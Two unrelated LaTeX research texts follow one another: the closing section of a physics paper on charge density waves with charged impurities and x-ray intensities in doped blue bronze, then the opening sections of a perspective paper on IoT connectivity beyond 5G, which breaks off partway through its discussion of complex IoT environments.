statistical tilt symmetry that $\chi(r)$ is independent of the
forward scattering disorder. In Eq.~(\ref{eq:Cd}),
$C^{\text{B.S}}_{\text{d}}$ is the backward scattering
contribution which has been obtained in
Ref.~\onlinecite{rosso_cdw_long}, and $C^{\text{F.S}}_{\text{d}}$ is the
forward scattering contribution, given by:
\begin{eqnarray}\label{eq:ccorr}
C^{\text{F.S}}_{\text{d}}(\mathbf{r})=\left(\frac{\Lambda_{\perp}^{-2}}{r_{\perp}^2
+ 4 (v_{\perp}|x|\xi/v_x)}\right)^{\kappa},
\end{eqnarray}
\noindent where we have used Eq.~(\ref{eq:smectic-like}), assuming a
Gaussian disorder. Using Eq.~(\ref{eq:BS-log-log}), one sees that the
term $C^{\text{B.S}}_{\text{d}}$ gives only
a logarithmic
correction to (\ref{eq:Cd}). As a result, the symmetric structure
factor $I_{\text{d}}$ is dominated by the contribution of the forward
scattering disorder.
To obtain the structure factor, we Fourier transform Eq.~(\ref{eq:ccorr}) to obtain
\begin{eqnarray}
I_{\text{d}}({\bf q})&=&\int d^2{\bf r_{\perp}} e^{i{\bf q_{\perp}
r_{\perp}}}
\left(\frac{\Lambda_{\perp}^{-1}}{ r_{\perp}}\right)^{2\kappa}
\frac{ r_{\perp}^2 v_x }{2\xi v_{\perp}} \nonumber
\\ && \times \int_0^{+\infty} \frac{du}{(1+u)^\gamma} \cos
\left(\frac{|q_x| r_{\perp}^2 v_x}{4\xi v_{\perp}} u \right) \nonumber
\end{eqnarray}
Using the following relation,
\begin{eqnarray}
\int_0^{+\infty} \frac{du}{(1+u)^\gamma} \cos (\lambda u) = \frac
{\lambda^{\gamma-1}}
{\Gamma(\gamma)} \int_0^{+\infty} dv
e^{-v\lambda}\frac{v^\gamma}{v^2+1}
\end{eqnarray}
we finally obtain
\begin{eqnarray}
I_{\text{d}}({\bf q})&=&\frac{\pi (|q_x| \Lambda_{\perp}^{-1})^{\kappa-2}} {2^{2(\kappa -1)}
\Gamma(\kappa)} \frac{ \Lambda_{\perp}^{-\kappa-2}}{ {(\xi
v_{\perp}/v_x)^{\kappa-1}}} \nonumber \\ && \times
\int_0^{+\infty} dw \frac{w^{1-\kappa}}{w^2 +1} e^{-w \frac{(\xi v_{\perp}/v_x)
q_{\perp}^2}{2|q_x|}},
\end{eqnarray}
\noindent so that $I_{\text{d}}({\bf q}) \sim (|q_x|)^{\kappa-2}$ for
$q_{\perp}^2 (\xi v_{\perp}/v_x) \ll |q_x|$ and $I_{\text{d}}({\bf q}) \sim
(|q_{\perp}|)^{2(\kappa-2)}$ otherwise. The intensity $I_d({\bf q}=0)$ is divergent for
for $\kappa<2$ but is finite for $\kappa>2$, i.e. for strong disorder.
Next, we turn to the evaluation of
$I_{\text{a}}$. From Ref.~\onlinecite{rosso_cdw_long}, we know that
$\chi(r)\sim 1/x$ when $x\xi \gg r_\perp^2 $ and $\chi(r)\sim 1/r_\perp^2$ when
$|x|\xi\ll r_\perp^2$. This implies that $I_a$ is subdominant in comparison with
$I_d$. In particular, $I_{\text{a}}({\bf q}) \sim (|q_x|)^{\kappa-1}$ for
$q_{\perp}^2 (\xi v_{\perp}/v_x) \ll |q_x|$ and $I_{\text{a}}({\bf q}) \sim
(|q_{\perp}|)^{2(\kappa-1)}$ otherwise. We illustrate the behavior of
the x-ray intensities on Fig.~\ref{fig:peaks}.
We note that these intensities are remarkably similar to
those of a disorder-free smectic-A liquid
crystal\cite{caille_smectic_xray}
at positive temperature. In fact, the expression of the exponent
$\kappa$ Eq.~(\ref{eq:kappa-def}) is analogous to the expression
(5.3.12) in Ref.~\onlinecite{chandrasekhar_smectic}, with the disorder
strength $D$ playing the role of the temperature $k_B T$ in the smectic-A liquid crystal.
\begin{figure}[htbp]
\centering
\includegraphics[width=.9\columnwidth] {peaks.eps}
\caption{A sketch of the x-ray intensity in a CDW with Coulomb
elasticity and charged impurities for $K,Q$ parallel to the chain
direction. We have taken $\kappa=0.5$ in the expressions of $I_a$
and $I_d$.}
\label{fig:peaks}
\end{figure}
\subsection{Estimate of the exponent $\kappa$}
Let us turn to an estimate of the
exponent $\kappa$ appearing in the intensities to determine whether
such smectic-like intensities are indeed observable in experiments.
To do this, we first need to determine whether Coulomb interactions are
unscreened by comparing the screening length with $\xi$ given by
Eq.~(\ref{eq:xi-definition}). This question is relevant only to a
material with a full gap, in which free uncondensed electrons cannot
screen charged impurities. A good candidate is the blue bronze material
$\mathrm{K_{0.3}MoO_3}$ which has a full gap, and is well
characterized experimentally.
We now evaluate the quantity $\xi$ for this material.
Using the parameters of Ref.~\onlinecite{pouget_bronzes}:
\begin{eqnarray}
n_c=10^{20}\text{chains}/m^2,\\
v_F=1.3\times 10^5 m.s^{-1}, \\
\rho_0=3 \times 10^{27} e^-/m^3, \\
Q=6\times 10^9 m^{-1},
\end{eqnarray}
and a relative permittivity of $\epsilon_{\mathrm{K_{0.3}MoO_3}}=1$,
so that $\epsilon$ in Eq.~(\ref{eq:xi-definition}) is equal to the
permittivity of the vacuum, we obtain: $\xi \simeq 5$\AA. Therefore,
the screening length can be large compared to $\xi$ at low temperature, and
we expect that Coulombian effects will play an important role in this
material. We can use this value of $\xi$ to evaluate the exponent
$\kappa$ in Eq.~(\ref{eq:kappa-def}). For the doped material $\mathrm{K_{0.3} Mo_{1-x} V_x O_3}$,
we find that the disorder strength can be expressed as a function of the doping and obtain:
\begin{equation}\label{eq:banal}
D=x(1-x)\frac{\#(\text{Mo atoms/unit cell})}{\mathbf{a}\cdot(\mathbf{b}\times\mathbf{c})}.
\end{equation}
This formula is derived in App.~\ref{app:disorder-strength}.
For the crystal parameters, $a=$18.25\AA, $b=$7.56\AA, $c=$9.86\AA,
$\beta=$117.53$^o$ \cite{sato_xray_kmoo3}, with 20 Molybdenum
atoms per unit cell, and a doping $x=3\%$, the disorder strength $D=4.8\times 10^{26}
\mathrm{m}^{-3}$. Moreover, using the experimental bounds of the velocities: $3.6\times 10^2 m.s^{-1}<v_\perp<1.6\times
10^3 m.s^{-1}$ and $v_x=3.7\times 10^3 m.s^{-1}$, we find that
$\kappa$ is in the range $[0.16-0.8]$. Therefore, the smectic-like
order should be observable in x-ray diffraction measurements on this material.
\section{Conclusion}
In this paper, we have introduced a decomposition of the
disorder induced by charged impurities in terms of the reciprocal
lattice vectors of a periodic charged elastic system. Using this decomposition,
we have shown that only the long wavelength (forward scattering)
component of the disorder was long-range correlated. Components with
wavevectors commensurate with the reciprocal lattice of the periodic
elastic system remain short ranged. The latter can thus be treated
with the standard techniques developed for impurities producing
short range forces.\cite{giamarchi_vortex_long} We find that only the
forward scattering is affected by the long-range character of the
forces created by charged impurities. Due to the statistical tilt
symmetry, this implies that only the statics of the periodic elastic
system is modified by Coulombian disorder.
This has allowed us to obtain a full picture of the statics
of charge density wave
systems in $d=3$ in the presence of charged and neutral impurities. The results
are summarized in table~\ref{tab:summary}.
\begin{table}
\begin{center}
\begin{tabular}{ccc}
\hline
Elasticity &\multicolumn{2}{c}{Disorder}
\\ & Short range & Long range \\
\hline
Local & $I_d(q)\sim q^{\eta-3}$ & $I_d(q)\sim q^{-3}$ \\
Non-local & Unphysical & \begin{tabular}{c} $I_d (q_x)\sim |q_x|^{\kappa-2}$ \\
$I_d(q_\perp)\sim |q_\perp|^{2(\kappa-2)}$ \\ \end{tabular} \\ \hline
\end{tabular}
\end{center}
\caption{The different cases with short range and long range random
potential and elasticity. $\eta\simeq 1$ is the Bragg Glass
exponent\cite{eta_exponent_variation}. $\kappa$ is defined in
Eq.~(\ref{eq:kappa-def}).}
\label{tab:summary}
\end{table}
A remarkable result is that in the case of charged impurities in a
system with unscreened Coulomb elasticity, the x-ray intensity turns
out to be identical to that produced by thermal fluctuations in a
smectic-A liquid crystal\cite{caille_smectic_xray}, with the disorder
strength playing the role of an effective temperature. This behavior
of the scattering intensity should be observable in the blue bronze
material K$_{0.3}$MoO$_3$ doped with charged impurities such as
Vanadium.
\begin{acknowledgments}
This work was supported in part by the Swiss National Fund under
MANEP and division II. A. R. thanks the University of Geneva for
hospitality and support. We thank S. Brazovskii for enlightening
discussions.
\end{acknowledgments}
|
1,477,468,750,001 | arxiv | \section{Introduction}
The term \emph{Internet of Things (IoT)}, although present for several decades, started to gain a significant traction with the emergence of the 5G cellular systems and standards~\cite{palattella2016internet,8519960}. An IoT device is a physical object equipped with sensors and/or actuators, embedded computer and connectivity. As such, it can be seen as a two-way micro-tunnel between the physical and the digital world: physical information gets a digital representation and, vice versa, digitally encoded actions get materialized in the physical world. From a different perspective, related to service and product design, IoT capabilities have significantly transformed many products by expanding the functionality and transcending the traditional product boundaries~\cite{porter2014smart}.
The ambition of 5G has been to push the boundaries of connectivity beyond the offering of high wireless data rates and expand towards interconnecting humans, machines, robots, and things. This leads to an enormously complex connected ecosystem: a large number of connections that pose a vast diversity of heterogeneous Quality of Service (QoS) requirements in terms of data rate, latency, reliability, etc. To deal with this complexity, the approach of the 5G system design has been to define three generic services: eMBB (enhanced Mobile BroadBand), mMTC (massive Machine-Type Communications (MTC)), and URLLC (Ultra-Reliable Low-Latency Communication)~\cite{ITUR,tr38802}. The latter two represent the approach of 5G to natively support the requirements of IoT connectivity. This is in contrast to the 4G and other prior generations, where IoT connections were supported in an ad hoc manner, as an afterthought in system deployment.
In some sense, 5G is a step in the direction of obtaining an ultimate connectivity system that is capable to flexibly support all conceivable wireless connectivity requirements in the future. One can think of the three generic connectivity types as three dimensions of a certain ``service space'' and any single connectivity service can be realized as a suitable combination of eMBB, mMTC, and URLLC. For example, in an advanced agricultural scenario, a remotely-controlled machine needs to support real-time reliable actuation of commands (URLLC), while occasionally sending a video feed (eMBB) as well as gathering data from various sensors and IoT devices in the agricultural environment (mMTC).
\begin{figure}[t!]
\centering
\includegraphics{fig/PhysicalVsDigital.pdf}
\caption{Physical versus digital.}
\label{fig:PhysicalVsDigital}
\end{figure}
But is 5G indeed defining the ultimate connectivity framework? This is an important question, as its affirmative answer would obviate the need to redefine and conceptually upgrade the connectivity types towards 6G. On the contrary, a negative answer entails a critical view on 5G and identification of connectivity scenarios that are not well represented by eMBB, mMTC and URLLC or a combination thereof.
As an attempt to answer the question above, this paper takes the, rather general, perspective depicted on Fig.~\ref{fig:PhysicalVsDigital} to position the role of IoT connectivity and assess its requirements. The general framework from Fig.~\ref{fig:PhysicalVsDigital} will be first used to take a critical view on IoT as defined in 5G and identify cases that are not well represented by the two categories mMTC and URLLC. Next, the framework will be used as a blueprint to formulate the features of IoT connectivity in beyond-5G/6G systems. The evolution of future wireless IoT technology will be discussed through multiple dimensions: time, space, intelligence, and value. We also conjecture that the focus will broaden from IoT devices and their connections towards the emergence of complex IoT environments, seen as building blocks of the overall IoT ecosystem.
\section{A General IoT Framework}
IoT devices reside at the interface between the physical and the digital world and facilitate the two types of information transfer: (1) \emph{sensing}, creating a digital representation of the physical reality and (2) \emph{actuation}, converting digital data into commands that exhibit an impact on the physical world. After the information gets converted into a digital data, it can be used in three principal ways:
\begin{itemize}
\item \emph{Learning:} The data is used in a process of training a module that relies on Machine Learning (ML) or another form of gathering knowledge and building up Artificial Intelligence (AI).
\item \emph{Inference:} The data is used by an algorithm, AI module or similar to infer conclusions or devise a command that needs to be actuated in the physical world.
\item \emph{Value storage or exchange:} The data is stored for potential use at a future point, such that it possesses a latent value. The data can also be exchanged through the connectivity infrastructure and thus get an actual valuation/monetization.
\end{itemize}
The ``digital world'' box includes anything that can store, process or transfer digital data, including the the global Internet.
There are two general modes that involve IoT communication: \emph{Machine-to-Machine (M2M)}, that includes interaction and communication only among machines as well as \emph{Machine-to-Human (H2M)} (or vice versa), where the overall IoT communication also includes a human in the loop. The principal difference between these two modes is that, when there is a human in the loop, the timing and processing constraints should conform to the ones of the human, while in the case of M2M they are subject to design and specification. In the diagram on Fig.~\ref{fig:PhysicalVsDigital}, a human belong to the physical world. In that sense, the actuation can be understood in a more general way, such as displaying a multimedia content to for the human.
\section{A Critical View on IoT in 5G}
\label{sec:Critical5G}
This section discusses the typical ways in which IoT requirements are articulated within 5G. The objective is to take a critical view by pointing out important scenarios and requirements that are not well covered by the two categories, mMTC and URLLC.
\subsection{mMTC}
\begin{figure}[t!]
\centering
\includegraphics{fig/mMTC.pdf}
\caption{A view on the typical mMTC requirements.}
\label{fig:mMTC}
\end{figure}
We start by considering mMTC and a view on its typical requirements is depicted in Fig.~\ref{fig:mMTC}. It aims to support a large number of devices, dominantly with an uplink traffic, which is also indicated on the figure. A possible rationale behind this can be formulated as follows. Consider a large set of nodes (sensors) that are generating data locally. The data of different nodes is not correlated, such that each new data packet send by a different node contributes with a new information about the physical world. Furthermore, each node is only sporadically active, such that the time instant at which it is active and has a data to transmit is unpredictable. Equivalently, this implies that the subset of active nodes at a given time instant is unpredictable. Hence, there are two sources of randomness: the data content and the node activity. This is the basis for the major challenge in mMTC: \emph{How to maximize the uplink throughput from a large set of connected nodes, where the subset of active nodes at a given time instant is unknown?} This has led to a surge on research in the area of massive random access~\cite{polyanskiy17,bockelmann18}. The challenge requires maximization of the throughput in the uplink, which is more difficult than the downlink, as the devices are uncoordinated and compete for the same shared wireless spectrum. An additional challenge for mMTC devices is the power consumption, which should be optimized to ensure long battery lifetime and unattended operation; this is the case, for example, for sensors embedded in buildings, production plants, or agricultural facilities. More generally, the challenge for mMTC (and we will see that it is similar for URLLC) is made in a maximalist way: it is tacitly assumed that if the most difficult mode of communication is supported, then the easier modes (such as downlink communication towards a subset of nodes) are implied. Finally, following the architectural practice of layered design and modularization, the part of connectivity on Fig.~\ref{fig:mMTC} is decoupled from and oblivious towards the goals/usage of the mMTC data in the digital world, that is, learning, inference, or value storage/exchange.
Let us now look at a scenario of massive access in which we change some of the assumptions behind the canonical mMTC use case, described above. Consider the case in which the nodes are sensing a physical phenomenon in order to sense an anomalous state and report it to an edge server, which embodies an inference module that is capable to detect reliably if an anomalous state has occurred. In the simplest case, each sensing node can make a local binary decision whether an anomalous state has occurred (1) or not (0) and send it to the edge server. This violates the assumption that the data across nodes is not correlated, as all of them will try to report about the same observed phenomenon. Furthermore, if the anomalous state occurs within a short time interval, it will trigger response from all sensing nodes in a correlated way, which impacts the statistical properties of the subset of active mMTC nodes. In the ideal case, when a node detects the anomalous state perfectly and the wireless link to the edge server is error-free, then only a single node needs to transmit. Hence, the technical problem is not anymore \textsl{``throughput maximization from an unknown random subset''} but rather a \textsl{``leader election from an unknown subset with a certain correlation structure in the node activation''}. If the ideal assumptions on sensing/communication are relaxed, then a sufficient number of nodes should report the detected alarm, such that the edge server can infer a reliable decision about the state of the physical world. The problem can be further relaxed by considering that the sensing node are not directly detecting the anomalous state, but rather a data related to it; then the edge server needs to fuse this data to make inference. The technical problem is now \textsl{``collect a sufficient number of data points to reliably detect anomaly''}.
These examples show that the consideration of the data purpose/usage has a significant impact on the technical challenges posed to the wireless connectivity part. For all these new technical problems, a system optimized for mMTC with typical requirements will lead either to inefficient operation (collecting much more data points than needed to make inference) or failing to meet the timing requirement (the detection of the alarm will be delayed due to channel congestion). The case of transmission of identical alarm messages from a massive set of devices that should enable timely and reliable detection at an edge node illustrates that massiveness, reliability and latency may not be separable (as treated in 5G) when the data content/purpose is taken into account. Clearly, following the (overused) approach of cross-layer optimization, one may immediately jump to the conclusion that the access should be designed jointly with the high-level objective of the transmitted data. This is not feasible, as it does not contribute to a scalable architectural design. However, the described problems indicate that, rather than sticking to the problem of \textsl{``throughput maximization from an unknown random subset''}, we need to identify a small set of connectivity-related challenges that provide a better span of the IoT requirements with massive number of devices and design systems that can solve them efficiently.
\subsection{URLLC}
We now provide a critical view on URLLC, the second generic service related to IoT. In order to illustrate the URLLC requirements, we consider the sense-compute-actuate cycle depicted on Fig.~\ref{fig:URLLC}. In this example we observe the timing of the following loop. An IoT gathers information from the physical world, digitalizes it and transmits it wirelessly to a server that performs computation and inference. Based on that, the server sends a command wirelessly to an actuating device; in the special case, this device is the same one as the sensing IoT device. Fig.~\ref{fig:URLLC} illustrates the total timing budget for these operations. The specification of URLLC has been done with the motivation to use a small part of this timing budget on the wireless radio link and ensure that transmission is done within this short allocated time with a very high reliability. This would leave a sufficient timing budget to perform the other operations, regardless of whether the total timing budget is $10$ ms or $50$ ms.
\begin{figure}[t!]
\centering
\includegraphics{fig/URLLC.pdf}
\caption{The context for defining of URLLC requirements through a timing budget of a sense-compute-actuate cycle.}
\label{fig:URLLC}
\end{figure}
This is again a rather maximalist approach towards the radio link in the quest to satisfy the end-to-end requirements on timing and reliability. In the early specification of URLLC, the allocated time was $1$ ms and the required reliability was $99.999$\%. Achieving high reliability is associated with the use of high level of diversity (e.g. bandwidth) and power. Relaxing the requirements on the wireless transmission could lead to more efficient operation, while still meeting the overall goal of communication. Specifically, in the example on Fig.~\ref{fig:URLLC} the computation part may be capable to compensate for the data loss on the sensing wireless link and make a predictive decision that can be passed on to the actuator. Or, as indicated in the early paper on ultra-reliable communication on 5G~\cite{Petar2014}, one can take a holistic perspective on URLLC and ensure that the overall system degrades gracefully if the data is not delivered within a given deadline.
Expressing it in a similar way as we have done in the previous section, the basic problem of URLLC has been formulated as \textsl{``deliver the data of size $X$ within $Y$ milliseconds with reliability $Z$''}. Instead, timing in a communication system can be put in a more general framework and define a set of basic problems that are capable to capture various timing requirements. For instance, instead of looking at the latency of the packet, one can jointly consider the data generation process and the state of the computation process. In that sense, a more relevant measure than latency can be information freshness or age of information. This is further discussed in Section~\ref{sec:Time}, while for a more general discussion on the timing concepts towards 6G the reader is referred to~\cite{popovski21timing}.
\section{Time}\label{sec:Time}
The definition of \emph{real time} is highly dependent on the application and its final user. Specifically, real time is dependent on whether the overall system is intended for one of the following three communication setups: (1) Human-to-Human (H2H), (2) Human-to-Machine (H2M), including setups of communication among machines with a Human In The Loop (HITL); and (3) Machine-to-Machine (M2M). Even fully interactive human-type communication such as Augmented and Virtual Reality (AR/VR) do not require millisecond timescales, as human perception becomes the limiting factor~\cite{miller1968response}: For example, the human eye cannot perceive images that are shown for less than about 13~ms, setting a hard ceiling on the network timing requirements for this type of communication. The same is true in HITL scenarios, where machines can operate faster than human perception limits, but the a system operating faster than the perceivable latency threshold will be experienced by the human as instantaneous and seamless~\cite{kasgari2019human}.
There is no universally defined timing threshold for M2M communication, as the timing requirements depend on the type of applications and on the capabilities of the specific Cyber-Physical System (CPS). This is in a way reflected in the split between mMTC and URLLC in 5G, which represent two extreme cases. As also discussed in Section~\ref{sec:Critical5G}, these two extremes do not cover the full range of use cases. A different and representative categorization in terms of timing is given by the OpenRAN Alliance (ORAN)~\cite{oranrt}, which distinguishes three main classes of traffic: non real-time, near real-time, and real-time. A more accurate view of CPS timing requirements should go beyond the isolated characterization of the wireless communication latency and consider all the contributors in Fig.~\ref{fig:URLLC}. Furthermore, the use of Age of Information (AoI)~\cite{kaul2012real} instead of latency as a metric can have significant advantages, as AoI can better represent the discrepancy between the model that the system can construct from the sensor transmissions and the actual physical reality. The limits on the allowed AoI depend on the tolerance of the control algorithm and of the application: advanced control algorithms in highly predictable scenarios will be able to work even with very old information, while complex and unpredictable scenarios which require fast reaction times will necessarily have stricter requirements~\cite{zhang2019networked}.
\begin{figure}[t]
\centering
\input{fig/aoi.tex}
\input{fig/voi.tex}
\caption{Example of the difference between AoI and VoI, in a system with cumulative estimation errors.}
\label{fig:aoi_vs_voi}
\end{figure}
One step further is to use the content of the packets themselves to define latency and reliability requirements: if the controller employs some form of predictive algorithm, new information that fits the expected model will be relatively unimportant, while unexpected deviations from it will need to be delivered quickly and reliably. This approach can be measured with the Value of Information (VoI)~\cite{ayan2019age}, a metric that combines the age and content of the packet to directly measure the usefulness of communication. The difference between AoI and VoI is clearly shown in Fig.~\ref{fig:aoi_vs_voi}: While AoI increases linearly and then drops to 0 after a transmission (assuming the latency is negligible), the increase in the VoI depends on the behavior of the system, and might be non-linear. In the figure, the first period between 0 and 25~s has a relatively slow increase, while the period between 40 and 60~s has a steeper one, and indeed gets to a higher VoI in a shorter time: this is due to the different behavior of the system, which strays farther from the estimated value at the receiver.
Using VoI as a metric is a step towards \emph{semantics}-oriented communication. The classical design of a CPS assumes a total independence between the content of the data and their transmission, i.e., uncontrolled arrival of exogenous traffic to the communication system. This sets design boundaries to the communication protocols and relaxing this rigid separation allows us to tackle the system design process holistically and improve the performance.
In control and HITL applications the Urgency of Information (UoI) approach~\cite{zheng2020urgency} defines VoI in such a way that the packets with the highest value are the ones that affect the control performance the most. This definition of value is also closely tied to the market value of data, which we will describe below: in both cases, samples from the sensors are more valuable if they are \emph{surprising}, i.e., if they contain information that is not currently represented in the model of the system. The difference between the two is in the way the data is used: in the data market case, this new information is used to improve that model, while in VoI applications, it is used to track and control a system.
\section{Space}
Evolving towards 6G, we need to look in the changes that occur in the space in which IoT devices are deployed to operate. In this context, we use the term space to refer to: (1) the environment where sensing and actuation take place and (2) the propagation medium where the electromagnetic waves travel to transfer information between two or more points.
Hence, by delimiting the space in which the interface between the physical and digital worlds occurs, the definition of time (space-time) and frequency as resources for communication is inherent. Therefore, space sets the basis for resource sharing and competition among devices.
As the optimization of frequency and time resources becomes insufficient, the next frontier towards increased network capacity is to optimize the use of space. Thence, increasing the network capacity per unit area has been one the major objectives of every subsequent generation of mobile networks. However, this objective has encountered a major challenge: the optimization has been limited to the placement and capabilities of the networking devices -- the infrastructure -- whereas there has been little to no control on the user side. That is, IoT and other mobile user devices possess limited capabilities and, as a consequence, their wireless channel is mostly determined by nature. Because of this, the traditional approach towards a greater network capacity is pre-planned network densification in combination with frequency reuse to minimize inter-cell interference. Only in recent years, precoding, beamforming, and beam steering techniques have enabled a much more flexible and agile exploitation of the space resources through massive multiple input-multiple-output (mMIMO) \cite{Marzetta2010} and the development of cell-free networks \cite{Demir2021}. In mMIMO, the channel state information, based on spatial reciprocity, is exploited to achieve communication with multiple devices in the same block of time-frequency resources.
Furthermore, distributed or cell-free mMIMO allows to exploit the macro-diversity of the environment by allowing the IoT devices to communicate to antenna elements at different locations to combat blockages and eliminate coverage holes.
Despite these advances, the capabilities of the IoT devices will remain limited in order to keep their cost down. Nevertheless, new developments on distributed infrastructures, AI/ML, and signal processing techniques will enable the network infrastructure and the environment itself to become intelligent. This will enable the real-time self-optimization of heterogeneous architectures that can relax the hardware requirements of IoT devices while exploiting the spatial resources. In the recent developments, the propagation environment may act as an ally to the simple IoT devices rather than only a major challenge that needs to be overcome. For instance, reconfigurable intelligent surfaces (RIS) \cite{Bjornson2021} consist of elements that can alter the properties of the incident signals adaptively and, hence, allow for a much greater control over space than that of the IoT devices. Specifically, RIS can be used to take advantage of the location of the devices to create highly directive and interference-free beams towards the base station in real-time. This allows for a new interpretation and exploitation of overlapping signals and also alleviates the hardware requirements of the devices, since part of the hardware on the device can be outsourced to the environment.
The structure of the physical space plays a major role on the feasibility of deploying network infrastructure and, hence, on the availability of Internet connectivity. Historically, we have seen the infrastructure as deployed in the 2D space; usually encompassing ground-level infrastructure while considering the air and (outer) space infrastructure to be, oftentimes, alien to it and, in the best case, complementary (i.e., global positioning and navigation services). It is only in recent years, that the New Space era and the advances in unmanned aerial vehicles (UAV) have expanded our view of the network infrastructure to the 3D space~\cite{Kodheli2021}. Satellites deployed in the Low Earth Orbit (LEO) can serve as a global network, capable of achieving low end-to-end latency while providing coverage in remote regions (e.g., Arctic and maritime) where deploying terrestrial infrastructure is infeasible~\cite{abildgaard2021arctic}. Besides, while LEO satellite constellations are moving infrastructure, they present deterministic space-time dynamics that can be exploited for resource optimization~\cite{Leyva-Mayorga2021}. Due to this combination of characteristics, one of the major objectives for 6G is to achieve a full integration of the terrestrial infrastructure with satellites, drones, and other aerial devices to fully exploit the 3D nature of space~\cite{Di2019, Dang2020, Akyildiz2020}.
In the digital world, space influences a series of characteristics of the data beyond quantity, such as its content and, hence, relevance. This calls for a characterization of how the optimization of wireless resources for a given delimited space affects the overall learning, inference, and value of data. In this sense, the network-level optimization objectives must be redefined to consider the role that space plays in the use that the data will have.
Consequently, there is the need for a new interpretation of resource efficiency
depending on the context: \emph{What is the data content and what will it be used for?} For example, the concept of over-the-air computation exploits the superposition property of the medium to effectively merge data from multiple sensors or model updates in the case of distributed learning \cite{Park2021}. This indicates that the 5G interpretation of space is far from being a definitive vision, as the capitalization of space, now dynamically, depends mainly on the utility of the data.
\section{Intelligence: Learning and Inference}
A general and rather certain trend in the coming years is that the intelligence in networks, network nodes, but also connected devices, will continuously increase. As the number of applications relying on IoT technology has grown, we have seen the capabilities of those \textit{things} evolving accordingly. Devices that used to be exclusively employed as sense-and-transmit entities are now equipped with different levels of \textit{embedded intelligence} directly operating on the information collected. This need for increasingly smarter communicating parties opens the way to the definition of a ``smarter'' content to exchange and of novel ways of making sure this is done efficiently and correctly. There have been already some efforts in this perspective \cite{zalewski2020bits, elsts2018board}, where the communication effort is optimised so that only the most useful data for the actual data consumer is transmitted. In a machine learning perspective this could, for instance, get translated into ``communicate only the most significant features''. But what is actually determining the significance of the information exchanged in this context? And how do we make sure this is transmitted efficiently? One natural option would be to consider relevant whatever maximises the performance of the receiver at executing a specific task, while relying an a compression strategy able to extract exactly this relevant information from the data. Communication frameworks based on neural network autoencoders to encode and decode messages would fulfil the requirements described above, as inherently able to find compressed input representations which are the most useful for the task at hand (e.g., \cite{bourtsoulatze19}). Yet, this is not enough. Systems would end up being \textit{ad-hoc} systems, able to operate correctly only on a small set of tasks (by leveraging multi-task learning schemes \cite{vandenhende2020revisiting}; otherwise only on a single task), where all the parties involved in the communication share the same model (i.e., same network with same structure, parameters and weight values), and interpretability would remain a crucial challenge. Preliminary studies have shown the potential of data-driven techniques (such as autoencoders) in this context \cite{xie21, chen2019toward}; though, it is evident how such paradigms create strong constraints against generalisation. This is why we will eventually need to move away from those systems and start associating \textit{semantics and meaning} to the data, as also suggested by a series of recent papers on semantic communication~\cite{popovski2020semantic,kountouris21semantics,uysal21semantic} as well as advances in graph and semantic networks \cite{wang2019heterogeneous, zhao2019semantic}. Indeed, by integrating semantics-based systems (i.e., systems with knowledge representations, such as knowledge graphs, and reasoning capabilities), well studied and long exploited in more traditional Artificial Intelligence (AI), with more recent data-driven frameworks, we would eventually enable efficient communication of relevant and meaningful information among entities sharing the same view of the world in the form of a \textit{knowledge base}, rather than a specific single, task-dependent, model~\cite{lan21semantic}.
\section{Value}
The inter-networked CPSs in the IoT networks are readily accumulating and processing data at a large scale. When operated with Machine Learning (ML) tools, these massively distributed data stimulate \textit{real-time} and \textit{non-real time} inference and decision-making services that create an economic value of data. For example, services defining prediction, localization, automation and control heavily consume large data samples for training learning models and improve its performance, i.e., model accuracy. These are certainly a few of the several promising outlooks with data in general. In particular, data is a valued commodity for trade that has gathered significant economic value and a multitude of social impacts. However, it is an overstatement if the narratives on the economic value of data leave the fundamental inter-dependencies between the data properties itself, the contextual, time-space information it encodes, and its value.
\begin{figure}[t!]
\centering
\includegraphics[width=\linewidth]{fig/value_12pt.pdf}
\caption{An illustration of data trading in an IoT network.}
\label{fig:value}
\end{figure}
At the other end of the story, the \textit{utility} of distributed data in the physical space is constantly challenged by a conventional perspective at an IoT device. The hindrance resides in the fundamental attributes of IoT networks and their components: data are not readily usable and highly localized, the data sources are resource-constrained, and the system is under stress due to unreliable connectivity during data transfer. Whereas, data in the digital space permits flexibility in its storage, mobility, customization and inter-operation to extract meaningful information, behaving likewise digital goods. Therein, data can be monetized and exchanged for added value, as shown in Fig.~\ref{fig:value}. The platform is a primary interface of interaction between buyers/sellers, leveraging connectivity for value storage or exchange in the data market, which quantifies pricing schemes and facilitates the overall data trading process. In this matter, one must not confuse ``value" and ``pricing"; for instance, the utility of correlated IoT data diminishes quickly if it exhibits no latent value~\cite{ali2020voluntary, agarwal2020towards}. Hence, the monetary value of such data appears low. However, such data can still contribute to assess system-level reliability, such as in sensory networks, where IoT devices constantly transmit their measurement data, or in case the data is used for inference. Such use cases highlight the challenges of a holistic approach in quantifying the data value. However, the value storage and exchange should not be a naive characterization by the single arbitrator/platform but depends entirely on the nature (independent or collective) and the requirements of applications these data can offer. For instance, a more tailored mobile application that benefits users' with specific personalized services expects techniques to handle data privacy concerns, for which the value exchange mechanism would be unique.
Arguably, this departure in the understanding of IoT devices, basically confined within sensing/actuation functionalities, to a broader physical and digital world perspective, in principle, impacts how connectivity shall behave and value is added with data exchanges. One can think of emergence of IoT devices that will behave as autonomous sellers and buyers of data in a decentralized data market. An example, the elastic computational operation on data in the digital space, coupled with value storage or exchange technologies, such as distributed ledger technologies (DLTs)~\cite{fernandez2018review}, quantifies the utility of data as transaction details and provides a different take on communication requirements to operate data trading. Similarly, in a Smart Factory setting, the value of exchanged data between devices during operation also reveals the properties of shared media access patterns, which can be exploited as feedback to tune vital parameters defining the communication resources in general. This explains the rationale behind the need to incorporate frequent interactions between the physical and the digital world, which bring value out of data, its storage and exchange while optimizing connectivity.
\section{Towards complex IoT environments}
Although the initial IoT designs focused on simple applications, the maturity of the technology leads towards more complex systems where the single device model falls short. Rather than isolated and low-capacity devices, we encounter IoT applications that are deployed and executed in several heterogeneous edge devices, interconnected with a network -- wireless and/or wired -- that dynamically adapts to changes in the environment and with built-in intelligence and trustworthiness. These environments rely on several distributed technologies, such as edge computing~\cite{Alnoman2019edge}, edge intelligence~\cite{Deng2020edgeintelligence} and DLT~\cite{fernandez2018review}, and their complex interactions.
For instance, in a manufacturing plant we find a number of inter-connected industrial robot arms, machinery and Automated Guided Vehicles (AGVs). The accomplishment of a complex manufacturing goal (the IoT application) is based on the autonomous collaboration between the nodes, with very heterogeneous capabilities. This requires the orchestration of the computation and communication resources for an overall reliable, trustworthy and safe operation.
